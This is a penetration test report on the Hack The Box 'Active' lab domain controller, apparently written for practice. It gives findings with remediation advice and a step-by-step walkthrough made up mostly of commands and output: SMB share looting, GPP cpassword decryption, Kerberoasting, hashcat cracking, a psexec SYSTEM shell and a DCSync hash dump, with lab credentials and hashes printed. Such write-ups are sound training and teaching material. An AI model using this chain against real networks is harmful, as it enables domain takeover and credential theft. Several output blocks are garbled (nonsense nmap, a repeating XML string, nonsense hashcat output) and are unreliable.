Penetration Assessment Report HTB Active

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1. Executive Summary

1.1 Assessment Summary

There is 1 target for this assessment. Access to the target's network segment is provided via an OpenVPN connection. There are 3 objectives:

- 1. Find and access the flag stored in *user.txt* on a user's desktop
- 2. Find and access the flag stored in *root.txt* on the Administrator's desktop
- 3. Achieve Domain Admin privileges over the target domain and provide proof of full domain compromise

This final report will be provided at the end of the assessment. The final report will include discovered vulnerabilities, remediation recommendations, and a walkthrough of the attacks preformed during the assessment.

1.2 Summary of Findings

ID	Description	Severity
01	SMB Share - Insecure Configuration	Medium
02	SYSVOL Backup - Sensitive Information Disclosure	High
03	Service Account Password - Insufficient Password Complexity	High
04	Service Account - Overprivileged Account	Critical

2. Technical Details

2.1 Scope

• Target 1:

IP: 10.10.10.100Domain: active.htb

2.2 CVSS v3 Severity Ratings

Severity	Base Score Range
Low	0.1-3.9
Medium	4.0-6.9
High	7.0-8.9
Critical	9.0-10.0

2.3 Post Assessment Artifact Removal

All files and tools transferred to the target were removed at the end of the assessment. In addition, any configuration changes made during testing were reverted upon completion of testing. Furthermore, any accounts created or changed during the testing have been removed or reverted, respectively.

2.4 Findings

2.4.1 SMB Share - Insecure Configuration

Affects: 10.10.10.100

CVSS v3 Calculated Risk: 6.5 - Medium

Description: The SMB server hosts a share named "Replication". This share is a backup of the SYSVOL share. As a result, it contains sensitive configuration information that should be protected. The contents of the Replication share are readable by any user without requiring credentials. This sensitive configuration information can be leveraged by an attacker to further penetrate the domain.

Remediation Guidance: Sensitive backups should not be stored in widely accessible network file shares. Ideally, they are stored in an air gapped computer or disconnected storage medium. However, if the backup must be on a network share, it should be isolated to its own network segment, accessible to only the people who need access to perform their jobs, and in depth access control should be configured.

2.4.2 Replication Share - Sensitive Information Disclosure

Affects: 10.10.10.100

CVSS v3 Calculated Risk: 7.1 - High

Description: The Replication share is a backup of the SYSVOL share and contains a file named Groups.xml. Within this file is the encrypted cpassword for the SVC_TGS account. Microsoft accidentally leaked (on MSDN) the encryption key used to encrypt cpasswords around 2012. As a result, the password is easily decrypted with publicly available tools. The username and the decrypted password can then be used to authenticate to the domain to perform further enumeration and attacks.

Remediation Guidance: Microsoft release a patch to prevent the storage of cpasswords in Group Policy Preference (GPP) files such as Groups.xml. However, the patch doesn't remove previously stored cpasswords in GPP files. The patch should be installed and any GPP files with cpasswords should be removed from SMB shares like SYSVOL.

2.4.3 Service Account Password - Insufficient Password Complexity

Affects: 10.10.10.100

CVSS v3 Calculated Risk: 8 - High

Description: The password for the Administrator account, which is configured as a service account is weak. The password doesn't have sufficient complexity and is present in at least 1 common publicly available wordlist

(rockyou). The rockyou wordlist was used to preform a dictionary attack against the password hash to crack it.

Remediation Guidance: Service account passwords should be long and complex. For example, the password might contain lowercase and uppercase letters, numbers, and symbols. In addition, the passwords can be rotated frequently to increase security by making brute force and dictionary attacks harder.

2.4.4 Service Account - Overprivileged Account

Affects: 10.10.10.100

CVSS v3 Calculated Risk: 9 - Critical

Description: The Administrator account is configured to offer a service. Because the Administrator account is being used as a service account, the domain was completely compromised after cracking the password hash for the service account.

Remediation Guidance: Services should be offered using a separate account exclusively for the purpose of offering that service. Furthermore, a service account should only have the bare minimum privileges necessary to perform its function and should never have administrator privileges.

3. Attack Walkthrough

3.1 Scanning and Enumeration

1. Scan all open TCP ports with NMap: sudo nmap -p- -T4 10.10.10.100 -oN all_tcp_ports.nmap

```
map scan report for 10.10.10.100
Host is up (0.40s latency)
Not shown: 65512 closed top ports (reset)
         STATE SERVICE
PORT
53/tcp
         open domain
88/tcp
         open kerberos-sec
135/tcp
         open msrpc
139/tcp
         open netbios-ssn
389/tcp
         open ldap
445/tcp
         open microsoft-ds
464/tcp
         open kpassud5
593/tcp
         open http-rpc-epmap
636/tcp
         open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5722/tcp open msdfsr
9389/tcp open adws
47001/tcp open winrm
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49158/tcp open unknown
49165/tcp open unknown
49170/tcp open unknown
49171/tcp open unknown
```

2. **Perform additional script scanning and enumeration on the discovered ports:** *sudo nmap -p* 53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,4915

8,49165,49170,49171 -T4 -sC -sV -O 10.10.10.100 -oN service_enumeration.nmap --script dns-service-discovery,dns-zone-transfer,msrpc-enum,rpcinfo,nbstat,smb-protocols,smb-os-discovery,smb-security-mode,smb-vuln-cve-2017-7494,smb-vuln-ms06-025,smb-vuln-ms07-029,smb-vuln-ms08-067,smb-vuln-ms10-054,smb-vuln-ms10-061,smb-vuln-ms17-010

```
Heap scan report for 18.18.18.188
Host is up (8.77s latency).

PRRT STHTE SERVICE
SS/tca open domain microsoft Windows Kerberos (server time: 2022-11-14.09:18:372)
History open microsoft Windows Rectification open microsoft Windows R
```

3. Run SMB v2 enumeration scripts against the target: sudo nmap -p 445 -T4 10.10.10.100 -oN smb_enumeration.nmap --script smb2-capabilities,smb2-security-mode

```
map scan report for 10.10.10.100
łost is up (0.24s latency).
PORT
       STATE SERVICE
445/tcp open microsoft—ds
Host script results:
 smb2-capabilities:
    202
      Distributed File System
    210:
      Distributed File System
     Leasing
     Multi-credit operations
 smb2-security-mode:
    210:
      Message signing enabled and required
```

4. Discover accessible SMB shares and permissions: smbmap -H 10.10.10.100

```
$ smbmap -H 10.10.10.100
[+] IP: 10.10.10.100:445
                               Name: 10.10.10.100
       Disk
                                                                Permissions
                                                                                Comment
       ADMIN$
                                                                NO ACCESS
                                                                                Remote Admin
                                                                NO ACCESS
                                                                                Default share
       C$
       IPC$
                                                                NO ACCESS
                                                                                Remote IPC
       NETLOGON
                                                                NO ACCESS
                                                                                Logon server share
       Replication
                                                                READ ONLY
                                                                NO ACCESS
       SYSVOL
                                                                                Logon server share
                                                                NO ACCESS
       Users
```

3.2 Initial Access

1. Download contents of Replication share using read privilege: smbget -a -R

smb://10.10.10.100/Replication/

```
Ls smbget -a -R smb://10.10.100/Replication/
Using workgroup WORKGROUP, guest user
smb://10.10.10.100/Replication//active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI
smb://10.10.100/Replication//active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/Group Policy/GPE.INI
smb://10.10.100/Replication//active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf
smb://10.10.10.100/Replication//active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
smb://10.10.10.100/Replication//active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Registry.pol
smb://10.10.10.100/Replication//active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04FB984F9}/GPT.INI
smb://10.10.10.100/Replication//active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf
Downloaded 8.11kB in 75 seconds
```

2. Extract cpassword for the SVC_TGS account from Groups.xml: cat active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml

```
Ls cat active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
<?xml version="1.0" encoding="utf-8"?>
</rwl version="1.0" encoding="1.0" name="active.htb\SVC_TGS" image="2" changed="2018-07-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20-18-20
```

3. Decrypt the cpassword: *gpp-decrypt*

edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw /NqlVmO

└─\$ gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ GPPstillStandingStrong2k18

4. Use the credentials SVC_TGS:GPPstillStandingStrong2k18 to enumerate SPNs in the domain for Kerberroasting: impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request

```
L*s impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation

active/CIFS:445 Administrator CN=Group Policy Creator Owners, CN=Users, DC=active, DC=htb 2018-07-18 12:06:40.351723 2022-11-13 15:35:38.564518

[-] CCache file is not found. Skipping...

krrbstqs$23$*Administrator*sACTIVE.HTBsactive.htb/Administrator*$6fc1a7120d8d3d558262fc09e61fdf1d8$9ebe32720abf3b57c993caa4c68efa4f3ce2580ad512c1ac8aeda83d01639027722d1e

9d11ed2e39e858bdf1363fa373586fe986b33a9f3a1d50baa156dffc01d7df427db3ae2bb2ec8203dd22bad4603fc88d0940b76c028309eabcc0fb4c9953b1947ad5fcce9730200e4d3c57ece717a959ba51391

d1749e93a86c63d2644fdd75aa3a3abdb93e04092eab4e98c1229254bda64fba40eff4dfaf68e560c8e065d66a69284b63492bbf13592d1cf87f0aebc04b71c9e367a3d23204a75855fea9f2be378b8eba9670ee
57e9c938aafa5d5baaa97b474a58fc8c24f3b6240e243ef63b78e731f6c022841fcbbfae20b871f2721846074e6d31350a72594037c592a03465f75afd68a8e2c6fdb6374723d1d85e288ca79427f4be6e7a9

ega15d433a8f9b3fdd4d40f92038ffe6abe5e71542939358560ep09ba45808445b91086f399c541657531eef6ed9cc25c73a22123f21c26d09f7dc3d3992456996ddb188a99a185f7l897abff7b29cb0e81c30960ad

fc27b90ac1574cc576f9d7a709e843f5697d051779d49d337966dba7c91fe8ab4b04d68027f6b44la9d2bbc7322087b82741cf101b1f0d054e6933ca303da55517b32d6a3f06f4b60e8ece49b419f232ef54

a8562eaab7ce91cb34a80d1df3bf3e443d4c5a844686812893b386df4bc144ec6b4c9970b6ebe83df81c4efd07bc4ae7fe05dedd23550986e32c07dd1873f70dc4ae7e7ebe100bee5fac9392d8ea89f5ba5ae659369f13e4914783908806fb4e1cf3778df6bc2c3d80886661fd4688901709fb0ba5988840791b760f7c33387b15103d4d8a13af902beece6ef736f7b9ca348d68f2ade3lae84f3de404

03cc8cbbfd5d7d21c5199592ff99abeaafb9fbbd4saac273d1799b3ba4d1a53ed6099a7601564e00504da1ca86103e2f7eedec11fb1a160c9224b0efb49866f42c224c31c3b8757b11a1d03a648d2e963810b8

c835bbb0d1e7aada739d1adafe6cf4e99dd29762dac3aea95633805a6f1401790e29d76cd6b8dc7e05d207e6ade04e20bdd0419368318812e0037b08bdcb73d88cbbd2be4f42e6a0216fd4f161627fe4efc98ed

984f6bda827e77366f15d94c394b59f92e936f419fce8dbe31ca097
```

- 5. Save the TGS_REP hash for the Administrator SPN to a file named: administrator_tgs_rep_hash.txt
- 6. Perform a dictionary attack against the hash to recover the Administrator's NTLM password:

hashcat -m 13100 administrator_tgs_rep_hash.txt /usr/share/wordlists/rockyou.txt

```
| Gold | Incidence | Proceedings | Incidence | Proceeding | Procedure | Proced
```

7. **Using the credentials** *Administrator:Ticketmaster1968* **open a shell on the target:** *impacket-psexec administrator:Ticketmaster1968@10.10.10.100 -dc-ip 10.10.10.100*

```
impacket-psexec administrator:Ticketmaster1968@10.10.10.100 -dc-ip 10.10.10.100
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file LzbLemJF.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service UYec on 10.10.10.100.....
[*] Starting service UYec.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system
```

3.3 Post-Exploitation

- 2. Extract the flag from the admin proof file: cd c:\Users\Administrator\Desktop and then type root.txt 8d126113d1d87f1de2fa92cfc5458fef
- 3. Preform a DCSync attack using the credentials *Administrator:Ticketmaster1968* to prove full domain compromise: impacket-secretsdump administrator:Ticketmaster1968@10.10.10.100 -dc-ip

10.10.10.100 -just-dc-ntlm

```
impacket-secretsdump administrator:Ticketmaster1968@10.10.10.100 -dc-ip 10.10.10.100 -just-dc-ntlm
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5ffb4aaaf9b63dc519eca04aec0e8bed:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b889e0d47d6fe22c8f0463a717f460dc:::
active.htb\SVC_TGS:1103:aad3b435b51404eeaad3b435b51404ee:f54f3ald3c38140684ff4dad029f25b5:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:ff0f9268905a4d23072928514ad9al8c:::
[*] Cleaning up...
```

3.4 Artifact Removal

1. Clean up the open Administrator shell: exit

```
C:\Windows\system32> exit
[*] Process cmd.exe finished with ErrorCode: 0, ReturnCode: 0
[*] Opening SVCManager on 10.10.10.100.....
[*] Stopping service UYec.....
[*] Removing service UYec.....
[*] Removing file LzbLemJF.exe.....
```